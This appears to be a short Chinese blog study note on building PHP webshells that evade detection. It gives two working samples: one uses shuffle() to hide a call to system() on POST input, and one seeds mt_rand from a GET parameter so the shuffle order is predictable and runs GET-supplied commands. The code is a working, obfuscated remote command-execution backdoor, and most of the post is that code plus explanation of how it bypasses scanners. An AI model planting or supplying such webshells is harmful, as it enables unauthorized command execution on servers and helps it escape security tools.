记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
叶子野格19 分钟前
《C语言学习:指针》12
c语言·开发语言·c++·学习·visual studio
光影少年21 分钟前
前端线上屏幕出现卡顿如何排查?
开发语言·前端·javascript·学习·前端框架·node.js
上海云盾-小余1 小时前
边缘节点安全赋能:CDN 联动高防抵御复合型流量攻击
人工智能·安全
郑寿昌2 小时前
边缘AI芯片实现安全核与A/R核的确定性隔离机制
安全
向往着的青绿色2 小时前
Java反序列化漏洞(持续更新中)
java·开发语言·计算机网络·安全·web安全·网络安全·网络攻击模型
aacd27192 小时前
C语言之预处理详解ヾ(•ω•`)o
c语言·学习
笨鸟先飞的橘猫2 小时前
广播风暴架构优化方案思考
学习·架构
zhangrelay2 小时前
三分钟云课实践速通--大学物理--python 版
linux·开发语言·python·学习·ubuntu·lubuntu
炽烈小老头3 小时前
【每日天学习一点算法 2026/04/27】缺失的第一个正数
学习·算法
handler013 小时前
Linux 进程探索:从 PCB 管理到 fork() 的写时拷贝
linux·c语言·c++·笔记·学习